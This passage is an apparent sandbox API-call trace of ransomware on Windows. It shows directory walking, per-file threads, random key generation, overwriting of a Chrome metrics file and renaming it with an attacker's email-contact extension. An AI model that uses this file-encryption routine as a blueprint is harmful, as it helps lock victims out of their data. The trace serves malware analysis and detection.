lpFindFileData=0x459090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x3665a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="jvm.dll", cAlternateFileName="")) returned 1 [0057.819] wcscmp (_String1="jvm.dll", _String2=".") returned 1 [0057.819] wcscmp (_String1="jvm.dll", _String2="..") returned 1 [0057.819] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 1 [0057.819] wcscmp (_String1="Xusage.txt", _String2=".") returned 1 [0057.819] wcscmp (_String1="Xusage.txt", _String2="..") returned 1 [0057.819] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x6e) returned 0x4ef1f8 [0057.819] wcscpy (in: _Dest=0x4ef1f8, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client" [0057.819] wcscat (in: _Dest=0x4ef1f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\" [0057.819] wcscat (in: _Dest=0x4ef1f8, _Source="Xusage.txt" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\client\\Xusage.txt" [0057.819] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x794a0, lpParameter=0x4ef1f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x994 [0057.820] FindNextFileW (in: hFindFile=0x409aa8, lpFindFileData=0x459090 | out: lpFindFileData=0x459090*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x5a7, dwReserved0=0x0, dwReserved1=0x0, cFileName="Xusage.txt", cAlternateFileName="")) returned 0 [0057.820] FindClose (in: hFindFile=0x409aa8 | out: hFindFile=0x409aa8) returned 1 [0057.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x459090) returned 1 [0057.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d5f8) returned 1 [0057.821] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44a190) returned 1 Thread: id = 508 os_tid = 0xee0 [0049.308] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x60) returned 0x48d660 [0049.308] wcscpy (in: _Dest=0x48d660, _Source="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin" [0049.308] wcscat (in: _Dest=0x48d660, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\" [0049.308] wcscat (in: _Dest=0x48d660, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*") returned="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*" [0049.308] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x458e28 [0049.308] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Java\\jre7\\bin\\dtplugin\\*", lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x409ee8 [0049.833] wcscmp (_String1=".", _String2=".") returned 0 [0049.833] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.833] wcscmp (_String1="..", _String2=".") returned 1 [0049.833] wcscmp (_String1="..", _String2="..") returned 0 [0049.833] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xc25a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="deployJava1.dll", cAlternateFileName="DEPLOY~1.DLL")) returned 1 [0049.833] wcscmp (_String1="deployJava1.dll", _String2=".") returned 1 [0049.833] wcscmp (_String1="deployJava1.dll", _String2="..") returned 1 [0049.833] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 1 [0049.833] wcscmp (_String1="npdeployJava1.dll", _String2=".") returned 1 [0049.834] wcscmp (_String1="npdeployJava1.dll", _String2="..") returned 1 [0049.834] FindNextFileW (in: hFindFile=0x409ee8, lpFindFileData=0x458e28 | out: lpFindFileData=0x458e28*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x743b2580, ftCreationTime.dwHighDateTime=0x1d2e627, ftLastAccessTime.dwLowDateTime=0x743b2580, ftLastAccessTime.dwHighDateTime=0x1d2e627, ftLastWriteTime.dwLowDateTime=0x743b2580, ftLastWriteTime.dwHighDateTime=0x1d2e627, nFileSizeHigh=0x0, nFileSizeLow=0xd53a8, dwReserved0=0x0, dwReserved1=0x0, cFileName="npdeployJava1.dll", cAlternateFileName="NPDEPL~1.DLL")) returned 0 [0049.834] FindClose (in: hFindFile=0x409ee8 | out: hFindFile=0x409ee8) returned 1 [0049.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x458e28) returned 1 [0049.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d660) returned 1 [0049.834] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x48d250) returned 1 Thread: id = 509 os_tid = 0xee4 [0049.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x88) returned 0x4168a0 [0049.309] wcscpy (in: _Dest=0x4168a0, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0049.309] wcscat (in: _Dest=0x4168a0, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0049.309] wcscat (in: _Dest=0x4168a0, _Source="*" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*" [0049.309] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x250) returned 0x4586f0 [0049.309] FindFirstFileW (in: lpFileName="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\*", lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x40a228 [0049.309] wcscmp (_String1=".", _String2=".") returned 0 [0049.309] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0xfd8f7490, ftLastAccessTime.dwHighDateTime=0x1ca0431, ftLastWriteTime.dwLowDateTime=0xfd8f7490, ftLastWriteTime.dwHighDateTime=0x1ca0431, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0049.309] wcscmp (_String1="..", _String2=".") returned 1 [0049.310] wcscmp (_String1="..", _String2="..") returned 0 [0049.310] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xfd8f7490, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x1ea1accb, ftLastAccessTime.dwHighDateTime=0x1cbf8ea, ftLastWriteTime.dwLowDateTime=0x1ea1accb, ftLastWriteTime.dwHighDateTime=0x1cbf8ea, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1 [0049.310] wcscmp (_String1="en-US", _String2=".") returned 1 [0049.310] wcscmp (_String1="en-US", _String2="..") returned 1 [0049.310] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x90) returned 0x4380f8 [0049.310] wcscpy (in: _Dest=0x4380f8, _Source="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20" [0049.310] wcscat (in: _Dest=0x4380f8, _Source="\\" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\" [0049.310] wcscat (in: _Dest=0x4380f8, _Source="en-US" | out: _Dest="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US") returned="C:\\Program Files (x86)\\Common Files\\SpeechEngines\\Microsoft\\TTS20\\en-US" [0049.551] CreateThread (in: lpThreadAttributes=0x0, dwStackSize=0x0, lpStartAddress=0x82170, lpParameter=0x4380f8, dwCreationFlags=0x0, lpThreadId=0x0 | out: lpThreadId=0x0) returned 0x960 [0049.552] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7523740, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7523740, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f416c90, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8a00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSCommon.dll", cAlternateFileName="")) returned 1 [0049.552] wcscmp (_String1="MSTTSCommon.dll", _String2=".") returned 1 [0049.552] wcscmp (_String1="MSTTSCommon.dll", _String2="..") returned 1 [0049.552] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf7b630d6, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf7b630d6, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f4f9d60, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xba00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSDecWrp.dll", cAlternateFileName="")) returned 1 [0049.552] wcscmp (_String1="MSTTSDecWrp.dll", _String2=".") returned 1 [0049.552] wcscmp (_String1="MSTTSDecWrp.dll", _String2="..") returned 1 [0049.552] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf80be232, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xf80be232, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9f6c4d20, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x24c00, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSEngine.dll", cAlternateFileName="")) returned 1 [0049.552] wcscmp (_String1="MSTTSEngine.dll", _String2=".") returned 1 [0049.552] wcscmp (_String1="MSTTSEngine.dll", _String2="..") returned 1 [0049.553] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 1 [0049.553] wcscmp (_String1="MSTTSLoc.dll", _String2=".") returned 1 [0049.553] wcscmp (_String1="MSTTSLoc.dll", _String2="..") returned 1 [0049.553] FindNextFileW (in: hFindFile=0x40a228, lpFindFileData=0x4586f0 | out: lpFindFileData=0x4586f0*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xfaf9b217, ftCreationTime.dwHighDateTime=0x1ca0417, ftLastAccessTime.dwLowDateTime=0xfaf9b217, ftLastAccessTime.dwHighDateTime=0x1ca0417, ftLastWriteTime.dwLowDateTime=0x9fa0a390, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2200, dwReserved0=0x0, dwReserved1=0x0, cFileName="MSTTSLoc.dll", cAlternateFileName="")) returned 0 [0049.553] FindClose (in: hFindFile=0x40a228 | out: hFindFile=0x40a228) returned 1 [0049.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4586f0) returned 1 [0049.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4168a0) returned 1 [0049.553] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4165d0) returned 1 Thread: id = 510 os_tid = 0xee8 [0049.310] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\20170605115313.pma")) returned 0x20 [0049.310] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma", dwFileAttributes=0x20) returned 1 [0060.593] CreateFileW (lpFileName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" (normalized: "c:\\program files (x86)\\google\\chrome\\application\\setupmetrics\\20170605115313.pma"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0x988 [0060.593] GetFileSizeEx (in: hFile=0x988, lpFileSize=0xc54fc44 | out: lpFileSize=0xc54fc44*=6840) returned 1 [0060.593] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x1ab4, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.593] ReadFile (in: hFile=0x988, lpBuffer=0xc54fbc8, nNumberOfBytesToRead=0x4, lpNumberOfBytesRead=0xc54fbc4, lpOverlapped=0x0 | out: lpBuffer=0xc54fbc8*, lpNumberOfBytesRead=0xc54fbc4*=0x4, lpOverlapped=0x0) returned 1 [0060.594] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x435fa8 [0060.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436020 [0060.595] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x436048 [0060.595] NtQuerySystemTime (in: CurrentTime=0xc54fba4 | out: CurrentTime=0xc54fba4*=132174898245828000) returned 0x0 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x14765c30 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x520481b1 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x37c08916 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x78631a1d [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x4ddc1222 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x70207f9d [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x136a44ff [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x3282a80e [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x593403b8 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x5fed0db1 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x7037aeec [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0xdad3575 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x642f1a68 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x4648f433 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x212c442 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x44ab1fc7 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0xdcef9e9 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x664d9c87 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x5c7f569e [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x2dc6e2f0 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0xd8b724a [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x32b8db23 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x19ae8d6d [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x3dd35739 [0060.595] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x60e0e135 [0060.596] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x222a97dd [0060.596] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x425848ec [0060.596] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x625602e7 [0060.596] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x65ccb0ef [0060.596] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x622406d5 [0060.596] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x741d26a5 [0060.596] RtlRandomEx (in: Seed=0xc54fbb0 | out: Seed=0xc54fbb0) returned 0x5096396e [0060.608] ReadFile (in: hFile=0x988, lpBuffer=0x1998c108, nNumberOfBytesToRead=0x1ab8, lpNumberOfBytesRead=0xc54fba0, lpOverlapped=0x0 | out: lpBuffer=0x1998c108*, lpNumberOfBytesRead=0xc54fba0*=0x1ab8, lpOverlapped=0x0) returned 1 [0060.609] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0060.609] WriteFile (in: hFile=0x988, lpBuffer=0x19998910*, nNumberOfBytesToWrite=0x1ab8, lpNumberOfBytesWritten=0xc54fb9c, lpOverlapped=0x0 | out: lpBuffer=0x19998910*, lpNumberOfBytesWritten=0xc54fb9c*=0x1ab8, lpOverlapped=0x0) returned 1 [0062.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf258 [0062.609] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x20) returned 0x97cf280 [0062.609] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf280) returned 1 [0062.609] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x19998910) returned 1 [0063.231] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x1998c108) returned 1 [0063.238] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x43a858) returned 1 [0063.238] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x44c7e0) returned 1 [0063.238] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x31) returned 0x4a6720 [0063.238] SetFilePointerEx (in: hFile=0x988, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0063.238] WriteFile (in: hFile=0x988, lpBuffer=0x5efe280*, nNumberOfBytesToWrite=0x115, lpNumberOfBytesWritten=0xc54fc04, lpOverlapped=0x0 | out: lpBuffer=0x5efe280*, lpNumberOfBytesWritten=0xc54fc04*=0x115, lpOverlapped=0x0) returned 1 [0063.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5efe280) returned 1 [0063.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6760) returned 1 [0063.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x435ee0) returned 1 [0063.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4a6720) returned 1 [0063.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x97cf258) returned 1 [0063.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436020) returned 1 [0063.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436070) returned 1 [0063.245] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x436098) returned 1 [0063.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0xea) returned 0x4de4d8 [0063.245] wcscpy (in: _Dest=0x4de4d8, _Source="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma" [0063.245] wcscat (in: _Dest=0x4de4d8, _Source=".mailto[2Hamlampampom@cock.li].cd46d" | out: _Dest="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma.mailto[2Hamlampampom@cock.li].cd46d") returned="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma.mailto[2Hamlampampom@cock.li].cd46d" [0063.245] RtlDosPathNameToNtPathName_U (in: DosPathName="C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma.mailto[2Hamlampampom@cock.li].cd46d", NtPathName=0xc54fbbc, NtFileNamePart=0x0, DirectoryInfo=0x0 | out: NtPathName="\\??\\C:\\Program Files (x86)\\Google\\Chrome\\Application\\SetupMetrics\\20170605115313.pma.mailto[2Hamlampampom@cock.li].cd46d", NtFileNamePart=0x0, DirectoryInfo=0x0) returned 1 [0063.245] RtlAllocateHeap (HeapHandle=0x3f0000, Flags=0x8, Size=0x100) returned 0x12f4b2d0 [0063.254] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x12f4b2d0) returned 1 [0063.254] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4ae188) returned 1 [0063.254] NtQueryInformationFile (in: FileHandle=0x988, IoStatusBlock=0xc54fbc8, FileInformation=0xc54fba0, Length=0x28, FileInformationClass=0x4 | out: IoStatusBlock=0xc54fbc8, FileInformation=0xc54fba0) returned 0x0 [0063.254] NtSetInformationFile (FileHandle=0x988, IoStatusBlock=0xc54fbc8, FileInformation=0xc54fba0, Length=0x28, FileInformationClass=0x4) returned 0x0 [0063.256] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x4de4d8) returned 1 [0063.256] FlushFileBuffers (hFile=0x988) returned 1 [0066.215] CloseHandle (hObject=0x988) Thread: id = 511 os_tid = 0xeec [0049.311] GetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets")) returned 0x20 [0049.835] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0049.835] CreateFileW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets" (normalized: "c:\\program files (x86)\\msbuild\\microsoft\\windows workflow foundation\\v3.5\\workflow.targets"), dwDesiredAccess=0xc0010000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80000000, hTemplateFile=0x0) returned 0xffffffff [0049.835] GetLastError () returned 0x5 [0049.835] SetFileAttributesW (lpFileName="C:\\Program Files (x86)\\MSBuild\\Microsoft\\Windows Workflow Foundation\\v3.5\\Workflow.Targets", dwFileAttributes=0x20) returned 0 [0049.835] RtlFreeHeap (HeapHandle=0x3f0000, Flags=0x0, BaseAddress=0x5e02120) returned 1 Thread: id = 512 os_tid = 0xef0 [0049.312] 